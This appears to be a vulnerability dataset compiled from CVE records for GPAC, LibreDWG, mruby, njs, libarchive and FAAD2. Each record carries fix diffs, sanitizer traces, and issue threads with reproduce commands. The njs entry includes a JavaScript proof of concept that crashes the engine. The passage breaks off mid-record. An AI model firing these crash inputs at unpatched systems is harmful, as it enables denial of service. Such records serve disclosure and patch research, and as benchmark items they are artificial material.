=== https://github.com/gpac/gpac/issues/2611 === Title: heap-use-after-free in ./gpac/src/isomedia/movie_fragments.c:936:37 in flush_ref_samples --- Body: # Version ``` $ ./MP4Box -version MP4Box - GPAC version 2.3-DEV-rev566-g50c2ab06f-master ``` # Platform ``` $ uname -a Linux user-GE40-2PC-Dragon-Eyes 6.2.0-33-generic #33~22.04.1-Ubuntu SMP PREEMPT_DYNAMIC Thu Sep 7 10:33:52 UTC 2 x86_64 x86_64 x86_64 GNU/Linux ``` # Asan ``` [33m[iso file] extra box maxr found in hinf, deleting [0m[32m[iso file] Unknown box type traI in parent moov [0m[33m[iso file] Box "stss" (start 9939) has 32 extra bytes [0m[33m[iso file] extra box maxr found in hinf, deleting [0m[33m[iso file] Track with no sample description box ! [0m[33m[IsoMedia] Track 4 type MPEG not natively handled [0m[32m[Dasher] No template assigned, using $File$_dash$FS$$Number$ [0m[32m[iso file] Unknown box type traI in parent moov [0m[33m[MP4Mux] muxing unknown codec ID Codec Not Supported, using generic sample entry with 4CC "MPEG" [0m[31m[IsoMedia] File truncated, aborting read for track 1 [0m[37mDashing P1 AS#1.1(V) done (1 segs) [0m[31m[MP4Mux] Failed to add sample DTS 0 from O7 - prev DTS 18446744073709551615: Out Of Memory [0m================================================================= ==836900==ERROR: AddressSanitizer: heap-use-after-free on address 0x60b000001d88 at pc 0x7f57c0120bf1 bp 0x7ffeac405a70 sp 0x7ffeac405a68 READ of size 8 at 0x60b000001d88 thread T0 #0 0x7f57c0120bf0 in flush_ref_samples /home/user/fuzzing_gpac/gpac/src/isomedia/movie_fragments.c:936:37 #1 0x7f57c0128df2 in gf_isom_close_segment /home/user/fuzzing_gpac/gpac/src/isomedia/movie_fragments.c:2331:4 #2 0x7f57c0cfd198 in mp4_mux_process_fragmented /home/user/fuzzing_gpac/gpac/src/filters/mux_isom.c:6734:8 #3 0x7f57c0cf46f3 in mp4_mux_process /home/user/fuzzing_gpac/gpac/src/filters/mux_isom.c:7273:14 #4 0x7f57c09afa33 in gf_filter_process_task /home/user/fuzzing_gpac/gpac/src/filter_core/filter.c:2971:7 #5 0x7f57c097d47b in gf_fs_thread_proc /home/user/fuzzing_gpac/gpac/src/filter_core/filter_session.c:2105:3 #6 0x7f57c097b5cf in gf_fs_run /home/user/fuzzing_gpac/gpac/src/filter_core/filter_session.c:2405:3 #7 0x7f57c022ac6a in gf_dasher_process /home/user/fuzzing_gpac/gpac/src/media_tools/dash_segmenter.c:1236:6 #8 0x55ff536546dc in do_dash /home/user/fuzzing_gpac/gpac/applications/mp4box/mp4box.c:4831:15 #9 0x55ff53645b6e in mp4box_main /home/user/fuzzing_gpac/gpac/applications/mp4box/mp4box.c:6245:7 #10 0x7f57bf229d8f in __libc_start_call_main csu/../sysdeps/nptl/libc_start_call_main.h:58:16 #11 0x7f57bf229e3f in __libc_start_main csu/../csu/libc-start.c:392:3 #12 0x55ff5356ddd4 in _start (/home/user/fuzzing_gpac/gpac/bin/gcc/MP4Box+0x82dd4) (BuildId: 53333ca7bff59dd9a3d1b2821e7c5f3a9aac76b9) 0x60b000001d88 is located 104 bytes inside of 112-byte region [0x60b000001d20,0x60b000001d90) freed by thread T0 here: #0 0x55ff535f0972 in free (/home/user/fuzzing_gpac/gpac/bin/gcc/MP4Box+0x105972) (BuildId: 53333ca7bff59dd9a3d1b2821e7c5f3a9aac76b9) #1 0x7f57c001e6f5 in gf_isom_box_del /home/user/fuzzing_gpac/gpac/src/isomedia/box_funcs.c:2005:3 previously allocated by thread T0 here: #0 0x55ff535f0c1e in malloc (/home/user/fuzzing_gpac/gpac/bin/gcc/MP4Box+0x105c1e) (BuildId: 53333ca7bff59dd9a3d1b2821e7c5f3a9aac76b9) #1 0x7f57bff95c5a in trun_box_new /home/user/fuzzing_gpac/gpac/src/isomedia/box_code_base.c:7805:2 #2 0x7f57c0026335 in gf_isom_box_new /home/user/fuzzing_gpac/gpac/src/isomedia/box_funcs.c:1896:9 #3 0x7f57c0026335 in gf_isom_box_new_parent /home/user/fuzzing_gpac/gpac/src/isomedia/box_funcs.c:2351:14 #4 0x7f57c0d06f05 in mp4_mux_process_sample /home/user/fuzzing_gpac/gpac/src/filters/mux_isom.c:4915:9 #5 0x7f57c0cf85a4 in mp4_mux_process_fragmented /home/user/fuzzing_gpac/gpac/src/filters/mux_isom.c:6653:8 #6 0x7f57c0cf46f3 in mp4_mux_process /home/user/fuzzing_gpac/gpac/src/filters/mux_isom.c:7273:14 #7 0x7f57c09afa33 in gf_filter_process_task /home/user/fuzzing_gpac/gpac/src/filter_core/filter.c:2971:7 SUMMARY: AddressSanitizer: heap-use-after-free /home/user/fuzzing_gpac/gpac/src/isomedia/movie_fragments.c:936:37 in flush_ref_samples Shadow bytes around the buggy address: 0x0c167fff8360: fa fa 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c167fff8370: fa fa fa fa fa fa fa fa 00 00 00 00 00 00 00 00 0x0c167fff8380: 00 00 00 00 05 fa fa fa fa fa fa fa fa fa 00 00 0x0c167fff8390: 00 00 00 00 00 00 00 00 00 00 00 00 fa fa fa fa 0x0c167fff83a0: fa fa fa fa fd fd fd fd fd fd fd fd fd fd fd fd =>0x0c167fff83b0: fd[fd]fa fa fa fa fa fa fa fa fd fd fd fd fd fd 0x0c167fff83c0: fd fd fd fd fd fd fd fa fa fa fa fa fa fa fa fa 0x0c167fff83d0: fd fd fd fd fd fd fd fd fd fd fd fd fd fa fa fa 0x0c167fff83e0: fa fa fa fa fa fa fd fd fd fd fd fd fd fd fd fd 0x0c167fff83f0: fd fd fd fd fa fa fa fa fa fa fa fa fd fd fd fd 0x0c167fff8400: fd fd fd fd fd fd fd fd fd fd fa fa fa fa fa fa Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Container overflow: fc Array cookie: ac Intra object redzone: bb ASan internal: fe Left alloca redzone: ca Right alloca redzone: cb ==836900==ABORTING ``` # Reproduce ``` ./MP4Box -dash 10000 poc ``` # POC File https://github.com/gandalf4a/crash_report/blob/main/gpac/MP4Box/huaf_936 # Credit ``` Gandalf4a ```
https://nvd.nist.gov/vuln/detail/CVE-2023-48011
libredwg.cve-2021-28237
LibreDWG v0.12.3 was discovered to contain a heap-buffer overflow via decode_preR13.
https://github.com/LibreDWG/libredwg/issues/325
CWE-787
LibreDWG/libredwg
https://github.com/LibreDWG/libredwg/issues/325
➜ ./dwgread ./poc ERROR: This version of LibreDWG is only capable of decoding version r13-r2018 (code: AC1012-AC1032) DWG files. We don't decode many entities and no blocks yet. ERROR: offset -39 ERROR: offset -85 ================================================================= ==12538==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x6120000001c8 at pc 0x7ffff29b78be bp 0x7fffffffa8e0 sp 0x7fffffffa8d0 WRITE of size 8 at 0x6120000001c8 thread T0 #0 0x7ffff29b78bd in decode_preR13_section /home/yuan/afl-target/libredwg-asan/src/decode.c:470 #1 0x7ffff2a26e90 in decode_preR13 /home/yuan/afl-target/libredwg-asan/src/decode.c:744 #2 0x7ffff29a43e9 in dwg_decode /home/yuan/afl-target/libredwg-asan/src/decode.c:235 #3 0x7ffff297afa4 in dwg_read_file /home/yuan/afl-target/libredwg-asan/src/dwg.c:253 #4 0x5555555576f3 in main /home/yuan/afl-target/libredwg-asan/programs/dwgread.c:251 #5 0x7ffff1f52bf6 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21bf6) #6 0x5555555562a9 in _start (/home/yuan/afl-target/libredwg-asan/programs/.libs/dwgread+0x22a9) Address 0x6120000001c8 is a wild pointer. SUMMARY: AddressSanitizer: heap-buffer-overflow /home/yuan/afl-target/libredwg-asan/src/decode.c:470 in decode_preR13_section Shadow bytes around the buggy address: 0x0c247fff7fe0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c247fff7ff0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c247fff8000: fa fa fa fa fa fa fa fa 00 00 00 00 00 00 00 00 0x0c247fff8010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c247fff8020: 00 00 00 00 00 00 00 00 00 00 00 00 00 fa fa fa =>0x0c247fff8030: fa fa fa fa fa fa fa fa fa[fa]fa fa fa fa fa fa 0x0c247fff8040: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c247fff8050: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c247fff8060: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c247fff8070: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c247fff8080: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Container overflow: fc Array cookie: ac Intra object redzone: bb ASan internal: fe Left alloca redzone: ca Right alloca redzone: cb ==12538==ABORTING
=== https://github.com/LibreDWG/libredwg/issues/325 === Title: Heap-buffer-overflow in decode_preR13 line 470 --- Body: I found a heap buffer overflow in the current master (8072563). # Configure CFLAGS="-g -fsanitize=address" LDFLAGS="-fsanitize=address" ./configure # Command `./dwgread ./poc` # ASAN report ``` ➜ ./dwgread ./poc ERROR: This version of LibreDWG is only capable of decoding version r13-r2018 (code: AC1012-AC1032) DWG files. We don't decode many entities and no blocks yet. ERROR: offset -39 ERROR: offset -85 ================================================================= ==12538==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x6120000001c8 at pc 0x7ffff29b78be bp 0x7fffffffa8e0 sp 0x7fffffffa8d0 WRITE of size 8 at 0x6120000001c8 thread T0 #0 0x7ffff29b78bd in decode_preR13_section /home/yuan/afl-target/libredwg-asan/src/decode.c:470 #1 0x7ffff2a26e90 in decode_preR13 /home/yuan/afl-target/libredwg-asan/src/decode.c:744 #2 0x7ffff29a43e9 in dwg_decode /home/yuan/afl-target/libredwg-asan/src/decode.c:235 #3 0x7ffff297afa4 in dwg_read_file /home/yuan/afl-target/libredwg-asan/src/dwg.c:253 #4 0x5555555576f3 in main /home/yuan/afl-target/libredwg-asan/programs/dwgread.c:251 #5 0x7ffff1f52bf6 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21bf6) #6 0x5555555562a9 in _start (/home/yuan/afl-target/libredwg-asan/programs/.libs/dwgread+0x22a9) Address 0x6120000001c8 is a wild pointer. SUMMARY: AddressSanitizer: heap-buffer-overflow /home/yuan/afl-target/libredwg-asan/src/decode.c:470 in decode_preR13_section Shadow bytes around the buggy address: 0x0c247fff7fe0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c247fff7ff0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c247fff8000: fa fa fa fa fa fa fa fa 00 00 00 00 00 00 00 00 0x0c247fff8010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c247fff8020: 00 00 00 00 00 00 00 00 00 00 00 00 00 fa fa fa =>0x0c247fff8030: fa fa fa fa fa fa fa fa fa[fa]fa fa fa fa fa fa 0x0c247fff8040: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c247fff8050: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c247fff8060: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c247fff8070: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c247fff8080: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Container overflow: fc Array cookie: ac Intra object redzone: bb ASan internal: fe Left alloca redzone: ca Right alloca redzone: cb ==12538==ABORTING ``` # POC [poc.zip](https://github.com/LibreDWG/libredwg/files/6080842/poc.zip) --- Comment #1 by rurban: We don't release this code-path yet. fuzzers should configure with `--enable-release`. it is only run with git checkouts. Fixed with ea0b9522f63d049ded2c3cff8d9a8c360119951c --- Comment #2 by zodf0055980: Sorry, I will add `--enable-release` to run fuzzing, thanks.
https://nvd.nist.gov/vuln/detail/CVE-2021-28237
mruby.cve-2022-0631
Heap-based Buffer Overflow in Homebrew mruby prior to 3.2.
https://huntr.dev/bounties/9bdc49ca-6697-4adc-a785-081e1961bf40
https://github.com/mruby/mruby/commit/47068ae07a5fa3aa9a1879cdfe98a9ce0f339299, https://huntr.dev/bounties/9bdc49ca-6697-4adc-a785-081e1961bf40
CWE-122
mruby/mruby
47068ae07a5fa3aa9a1879cdfe98a9ce0f339299~1
diff --git a/src/vm.c b/src/vm.c index 9cb50847f2..aa5569503e 100644 --- a/src/vm.c +++ b/src/vm.c @@ -689,9 +689,11 @@ mrb_f_send(mrb_state *mrb, mrb_value self) regs = mrb->c->ci->stack+1; if (n == 0) { + argnum_error: mrb_argnum_error(mrb, 0, 1, -1); } else if (n == 15) { + if (RARRAY_LEN(regs[0]) == 0) goto argnum_error; name = mrb_obj_to_sym(mrb, RARRAY_PTR(regs[0])[0]); } else {
https://nvd.nist.gov/vuln/detail/CVE-2022-0631
mruby.cve-2022-1934
Use After Free in GitHub repository mruby/mruby prior to 3.2.
https://huntr.dev/bounties/99e6df06-b9f7-4c53-a722-6bb89fbfb51f
https://github.com/mruby/mruby/commit/aa7f98dedb68d735a1665d3a289036c88b0c47ce, https://huntr.dev/bounties/99e6df06-b9f7-4c53-a722-6bb89fbfb51f
CWE-416
mruby/mruby
aa7f98dedb68d735a1665d3a289036c88b0c47ce~1
diff --git a/src/vm.c b/src/vm.c index b04c9d7e58..09e557dc8e 100644 --- a/src/vm.c +++ b/src/vm.c @@ -1159,18 +1159,20 @@ check_target_class(mrb_state *mrb) return target; } +#define regs (mrb->c->ci->stack) + static mrb_value -hash_new_from_values(mrb_state *mrb, mrb_int argc, mrb_value *regs) +hash_new_from_regs(mrb_state *mrb, mrb_int argc, mrb_int idx) { mrb_value hash = mrb_hash_new_capa(mrb, argc); while (argc--) { - mrb_hash_set(mrb, hash, regs[0], regs[1]); - regs += 2; + mrb_hash_set(mrb, hash, regs[idx+0], regs[idx+1]); + idx += 2; } return hash; } -#define ARGUMENT_NORMALIZE(arg_base, arg_info, insn) do { \ +#define ARGUMENT_NORMALIZE(arg_base, arg_info, insn) do { \ int n = *(arg_info)&0xf; \ int nk = (*(arg_info)>>4)&0xf; \ mrb_int bidx = (arg_base) + mrb_bidx(*(arg_info)); \ @@ -1179,7 +1181,7 @@ hash_new_from_values(mrb_state *mrb, mrb_int argc, mrb_value *regs) } \ else if (nk > 0) { /* pack keyword arguments */ \ mrb_int kidx = (arg_base)+(n==CALL_MAXARGS?1:n)+1; \ - mrb_value kdict = hash_new_from_values(mrb, nk, regs+kidx); \ + mrb_value kdict = hash_new_from_regs(mrb, nk, kidx); \ regs[kidx] = kdict; \ nk = CALL_MAXARGS; \ *(arg_info) = n | (nk<<4); \ @@ -1242,7 +1244,6 @@ mrb_vm_exec(mrb_state *mrb, const struct RProc *proc, const mrb_code *pc) mrb->jmp = &c_jmp; mrb_vm_ci_proc_set(mrb->c->ci, proc); -#define regs (mrb->c->ci->stack) INIT_DISPATCH { CASE(OP_NOP, Z) { /* do nothing */
https://nvd.nist.gov/vuln/detail/CVE-2022-1934
njs.cve-2022-34029
Nginx NJS v0.7.4 was discovered to contain an out-of-bounds read via njs_scope_value at njs_scope.h.
https://github.com/nginx/njs/issues/506
https://github.com/nginx/njs/issues/506
CWE-125
nginx/njs
https://github.com/nginx/njs/issues/506
AddressSanitizer:DEADLYSIGNAL ================================================================= ==815==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000040 (pc 0x0000004ff20b bp 0x7ffc7abf6030 sp 0x7ffc7abf5880 T0) ==815==The signal is caused by a READ memory access. ==815==Hint: address points to the zero page. #0 0x4ff20b in njs_scope_value /home/ubuntu/njs-fuzz/JSEngine/njs/src/njs_scope.h:74:12 #1 0x4ff20b in njs_scope_valid_value /home/ubuntu/njs-fuzz/JSEngine/njs/src/njs_scope.h:84:13 #2 0x4ff20b in njs_vmcode_interpreter /home/ubuntu/njs-fuzz/JSEngine/njs/src/njs_vmcode.c:155:13 #3 0x4fa5ae in njs_vm_start /home/ubuntu/njs-fuzz/JSEngine/njs/src/njs_vm.c:541:11 #4 0x4df3fb in njs_process_script /home/ubuntu/njs-fuzz/JSEngine/njs/src/njs_shell.c:1132:19 #5 0x4e007f in njs_process_file /home/ubuntu/njs-fuzz/JSEngine/njs/src/njs_shell.c:836:11 #6 0x4ddbe8 in main /home/ubuntu/njs-fuzz/JSEngine/njs/src/njs_shell.c:483:15 #7 0x7f8dc7694082 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x24082) (BuildId: 1878e6b475720c7c51969e69ab2d276fae6d1dee) #8 0x41ea7d in _start (/home/ubuntu/njs-fuzz/JSEngine/njs-target/build/njs+0x41ea7d) AddressSanitizer can not provide additional info. SUMMARY: AddressSanitizer: SEGV /home/ubuntu/njs-fuzz/JSEngine/njs/src/njs_scope.h:74:12 in njs_scope_value ==815==ABORTING
ASan (inferred)
=== https://github.com/nginx/njs/issues/506 === Title: SEGV njs_scope.h:74:12 Out-of-bounds Read in njs_scope_value --- Body: Environment ```OS : Linux ubuntu 5.13.0-27-generic #29~20.04.1-Ubuntu SMP Fri Jan 14 00:32:30 UTC 2022 x86_64 x86_64 x86_64 GNU/Linux Commit : 9f4ebc96148308a8ce12f2b54432c87e6d78b881 Version : 0.7.4 Build : ./configure --cc=clang --address-sanitizer=YES make ``` Proof of concept ```js // Minimizing 34F6ED23-C193-452B-B724-E62BD7E15360 function placeholder(){} function main() { function v0(v1,v2,v3,v4,...v5) { try { async function v7(v8,v9,v10,v11) { var v12 = await Proxy; } var v13 = v0(); } catch(v14) { } finally { } var v15 = {}; var v16 = /gL8?/; var v17 = {}; var v18 = [v15,v17,v16]; function v20(v21) { v18[1866532165] = Map; } async function v24(v25,v26) { var v27 = await Map; } function v28(v29,v30) { } var v32 = new Promise(v28); var v34 = v32["catch"](); var v37 = {"get":Promise,"set":v24}; var v38 = Object.defineProperty(v34,"constructor",v37); async function v39(v40,v41) { var v42 = await v38; } var v43 = v39(); var v44 = v20(Map); } var v45 = v0(); } main(); ``` Minified ```js function run_then() {} function f(n) { if (n == 2) { return; } try { f(n + 1); } catch(e) { } var p = new Promise(run_then); Object.defineProperty(p, "constructor", {get: () => ({}).a.a}); async function g() { await p; } g(); throw 'QQ'; } f(0); ``` Stack dump ``` AddressSanitizer:DEADLYSIGNAL ================================================================= ==815==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000040 (pc 0x0000004ff20b bp 0x7ffc7abf6030 sp 0x7ffc7abf5880 T0) ==815==The signal is caused by a READ memory access. ==815==Hint: address points to the zero page. #0 0x4ff20b in njs_scope_value /home/ubuntu/njs-fuzz/JSEngine/njs/src/njs_scope.h:74:12 #1 0x4ff20b in njs_scope_valid_value /home/ubuntu/njs-fuzz/JSEngine/njs/src/njs_scope.h:84:13 #2 0x4ff20b in njs_vmcode_interpreter /home/ubuntu/njs-fuzz/JSEngine/njs/src/njs_vmcode.c:155:13 #3 0x4fa5ae in njs_vm_start /home/ubuntu/njs-fuzz/JSEngine/njs/src/njs_vm.c:541:11 #4 0x4df3fb in njs_process_script /home/ubuntu/njs-fuzz/JSEngine/njs/src/njs_shell.c:1132:19 #5 0x4e007f in njs_process_file /home/ubuntu/njs-fuzz/JSEngine/njs/src/njs_shell.c:836:11 #6 0x4ddbe8 in main /home/ubuntu/njs-fuzz/JSEngine/njs/src/njs_shell.c:483:15 #7 0x7f8dc7694082 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x24082) (BuildId: 1878e6b475720c7c51969e69ab2d276fae6d1dee) #8 0x41ea7d in _start (/home/ubuntu/njs-fuzz/JSEngine/njs-target/build/njs+0x41ea7d) AddressSanitizer can not provide additional info. SUMMARY: AddressSanitizer: SEGV /home/ubuntu/njs-fuzz/JSEngine/njs/src/njs_scope.h:74:12 in njs_scope_value ==815==ABORTING ``` Credit dramthy(@topsec alpha) --- Comment #1 by xeioex: The patch ```diff # HG changeset patch # Parent d63163569c25cb90fe654f0fedefde43553f833a Fixed njs_vmcode_interpreter() when await fails. Previously, while interpreting a user function, njs_vmcode_interpreter() might return prematurely when an error happens in await instruction. This is not correct because the current frame has to be unwound (or exception caught) first. The fix is exit through only 5 appropriate exit points to ensure proper unwinding. The patch correctly fixes issue reported in 07ef6c1f04f1 (0.7.3). This closes #506 issue on Github. diff --git a/src/njs_vmcode.c b/src/njs_vmcode.c --- a/src/njs_vmcode.c +++ b/src/njs_vmcode.c @@ -858,7 +858,12 @@ next: njs_vmcode_debug(vm, pc, "EXIT AWAIT"); - return njs_vmcode_await(vm, await, promise_cap, async_ctx); + ret = njs_vmcode_await(vm, await, promise_cap, async_ctx); + if (njs_slow_path(ret == NJS_ERROR)) { + goto error; + } + + return ret; case NJS_VMCODE_TRY_START: ret = njs_vmcode_try_start(vm, value1, value2, pc); @@ -1923,6 +1928,7 @@ njs_vmcode_await(njs_vm_t *vm, njs_vmcod value = njs_scope_valid_value(vm, await->retval); if (njs_slow_path(value == NULL)) { + njs_internal_error(vm, "await->retval is invalid"); return NJS_ERROR; } ``` --- Comment #2 by dramthy: Yes, I check the patch is valid for #506,#508,#509,#510,#511,#512,#513,#514,#515,#516,#518,#519,#520,#521,#525,#526,#527,#528. @xeioex
https://nvd.nist.gov/vuln/detail/CVE-2022-34029
libarchive.cve-2019-11463
A memory leak in archive_read_format_zip_cleanup in archive_read_support_format_zip.c in libarchive 3.3.4-dev allows remote attackers to cause a denial of service via a crafted ZIP file because of a HAVE_LZMA_H typo. NOTE: this only affects users who downloaded the development code from GitHub. Users of the product's official releases are unaffected.
https://github.com/libarchive/libarchive/issues/1165
https://github.com/libarchive/libarchive/commit/ba641f73f3d758d9032b3f0e5597a9c6e593a505
CWE-401
libarchive/libarchive
ba641f73f3d758d9032b3f0e5597a9c6e593a505~1
diff --git a/libarchive/archive_read_support_format_zip.c b/libarchive/archive_read_support_format_zip.c index 677c437095..6937969c16 100644 --- a/libarchive/archive_read_support_format_zip.c +++ b/libarchive/archive_read_support_format_zip.c @@ -2751,7 +2751,7 @@ archive_read_format_zip_cleanup(struct archive_read *a) inflateEnd(&zip->stream); #endif -#if HAVA_LZMA_H && HAVE_LIBLZMA +#if HAVE_LZMA_H && HAVE_LIBLZMA if (zip->zipx_lzma_valid) { lzma_end(&zip->zipx_lzma_stream); }
https://github.com/libarchive/libarchive/issues/1165
==15753==ERROR: LeakSanitizer: detected memory leaks Direct leak of 96 byte(s) in 1 object(s) allocated from: #0 0x7f4c0b1dfb50 in __interceptor_malloc (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xdeb50) #1 0x7f4c0a85dced (/lib/x86_64-linux-gnu/liblzma.so.5+0x2ced) Indirect leak of 224 byte(s) in 1 object(s) allocated from: #0 0x7f4c0b1dfb50 in __interceptor_malloc (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xdeb50) #1 0x7f4c0a864274 (/lib/x86_64-linux-gnu/liblzma.so.5+0x9274) SUMMARY: AddressSanitizer: 320 byte(s) leaked in 2 allocation(s).
=== https://github.com/libarchive/libarchive/issues/1165 === Title: Memory leak when decoding LZMA --- Body: I've encountered a memory leak while fuzzing libarchive. A 32-byte reproducer input is attached: [input.zip](https://github.com/libarchive/libarchive/files/3019394/input.zip). Do not extract this zip file -- it is the fuzzed input itself. To reproduce, build latest libarchive with ASAN (`clang -fsanitize=address`) and run: ``` $ ./bsdtar -xOf input.zip # bsdtar compiled with ASAN a: Invalid lzma data bsdtar: Error exit delayed from previous errors. ================================================================= ==15753==ERROR: LeakSanitizer: detected memory leaks Direct leak of 96 byte(s) in 1 object(s) allocated from: #0 0x7f4c0b1dfb50 in __interceptor_malloc (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xdeb50) #1 0x7f4c0a85dced (/lib/x86_64-linux-gnu/liblzma.so.5+0x2ced) Indirect leak of 224 byte(s) in 1 object(s) allocated from: #0 0x7f4c0b1dfb50 in __interceptor_malloc (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xdeb50) #1 0x7f4c0a864274 (/lib/x86_64-linux-gnu/liblzma.so.5+0x9274) SUMMARY: AddressSanitizer: 320 byte(s) leaked in 2 allocation(s). ``` Without ASAN, this can also be reproduced using Valgrind: ``` $ valgrind --leak-check=full ./bsdtar -xOf input.zip a: Invalid lzma data bsdtar: Error exit delayed from previous errors. ==619== ==619== HEAP SUMMARY: ==619== in use at exit: 396 bytes in 4 blocks ==619== total heap usage: 274 allocs, 270 frees, 342,257 bytes allocated ==619== ==619== 320 (96 direct, 224 indirect) bytes in 1 blocks are definitely lost in loss record 4 of 4 ==619== at 0x4C2FB0F: malloc (in /usr/lib/valgrind/vgpreload_memcheck-amd64-linux.so) ==619== by 0x54BECED: ??? (in /lib/x86_64-linux-gnu/liblzma.so.5.2.2) ==619== by 0x54C52E2: lzma_alone_decoder (in /lib/x86_64-linux-gnu/liblzma.so.5.2.2) ==619== by 0x14EEAC: zipx_lzma_alone_init (archive_read_support_format_zip.c:1455) ==619== by 0x14EEAC: zip_read_data_zipx_lzma_alone (archive_read_support_format_zip.c:1660) ==619== by 0x14EEAC: archive_read_format_zip_read_data (archive_read_support_format_zip.c:2670) ==619== by 0x1219BB: archive_read_data_into_fd (archive_read_data_into_fd.c:101) ==619== by 0x114D70: read_archive (read.c:369) ==619== by 0x1153F6: tar_mode_x (read.c:112) ==619== by 0x113A3F: main (bsdtar.c:880) ==619== ==619== LEAK SUMMARY: ==619== definitely lost: 96 bytes in 1 blocks ==619== indirectly lost: 224 bytes in 1 blocks ==619== possibly lost: 0 bytes in 0 blocks ==619== still reachable: 76 bytes in 2 blocks ==619== suppressed: 0 bytes in 0 blocks ==619== Reachable blocks (those to which a pointer was found) are not shown. ``` --- Comment #1 by jsonn: Yeah, it's not freeing the decoder on error. --- Comment #2 by rohanpadhye: Note that calling `archive_read_free()` does not free this memory. I tried writing my own driver based on the tutorials in the wiki (see [this gist](https://gist.github.com/rohanpadhye/57eb57cd4592f5368d7f24584d4f88f4)), and the leak remains even after calling `archive_read_free()`. For the test driver in the gist, I see the output: ``` entry name: a Error reading data: Invalid lzma data ================================================================= ==27645==ERROR: LeakSanitizer: detected memory leaks ... ``` --- Comment #3 by mmatuska: Thank you there is a ugly preprocessor typo in archive_read_format_zip_cleanup()! --- Comment #4 by rohanpadhye: Thanks for the fix! This has been assigned [CVE-2019-11463](https://nvd.nist.gov/vuln/detail/CVE-2019-11463) by MITRE. --- Comment #5 by mmatuska: @rohanpadhye This is very interesting because the zipx lzma support code was not released yet, so an affected version doesn't exist. --- Comment #6 by rohanpadhye: Oops. This is my bad, since I filed the report. I referenced the release date of v3.3.3 rather than the commit date. I see now that the bug appears only in 3.3.4dev. I'll request to have the CVE record amended at once.
https://nvd.nist.gov/vuln/detail/CVE-2019-11463
mruby.cve-2022-0614
Use of Out-of-range Pointer Offset in Homebrew mruby prior to 3.2.
https://huntr.dev/bounties/a980ce4d-c359-4425-92c4-e844c0055879
https://github.com/mruby/mruby/commit/ff3a5ebed6ffbe3e70481531cfb969b497aa73ad, https://huntr.dev/bounties/a980ce4d-c359-4425-92c4-e844c0055879
CWE-119, CWE-823
mruby/mruby
ff3a5ebed6ffbe3e70481531cfb969b497aa73ad~1
diff --git a/src/vm.c b/src/vm.c index 6133cbccac..9cb50847f2 100644 --- a/src/vm.c +++ b/src/vm.c @@ -2766,7 +2766,7 @@ mrb_vm_exec(mrb_state *mrb, const struct RProc *proc, const mrb_code *pc) int lim = a+b*2+1; hash = regs[a]; - mrb_assert(mrb_hash_p(hash)); + mrb_ensure_hash_type(mrb, hash); for (i=a+1; i<lim; i+=2) { mrb_hash_set(mrb, hash, regs[i], regs[i+1]); }
https://nvd.nist.gov/vuln/detail/CVE-2022-0614
faad2.cve-2018-20194
There is a stack-based buffer underflow in the third instance of the calculate_gain function in libfaad/sbr_hfadj.c in Freeware Advanced Audio Decoder 2 (FAAD2) 2.8.8. A crafted input will lead to a denial of service or possibly unspecified other impact because limiting the additional noise energy level is mishandled for the G_max <= G case.
https://github.com/knik0/faad2/issues/21
CWE-787
knik0/faad2
https://github.com/knik0/faad2/issues/21, https://seclists.org/bugtraq/2019/Sep/28
./faad faad_res/015-stack-buffer-underflow-sbr_hfadj_1314 -o out.wav *********** Ahead Software MPEG-4 AAC Decoder V2.8.8 ****************** Build: Dec 13 2018 Copyright 2002-2004: Ahead Software AG http://www.audiocoding.com bug tracking: https://sourceforge.net/p/faac/bugs/ Floating point version This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License. ************************************************************************** faad_res/015-stack-buffer-underflow-sbr_hfadj_1314 file info: ADTS, 0.555 sec, 40 kbps, 48000 Hz --------------------- | Config: 2 Ch | --------------------- | Ch | Position | --------------------- | 00 | Left front | | 01 | Right front | --------------------- ================================================================= ==7044==ERROR: AddressSanitizer: stack-buffer-underflow on address 0x7ffccaece094 at pc 0x7f28af4fcf51 bp 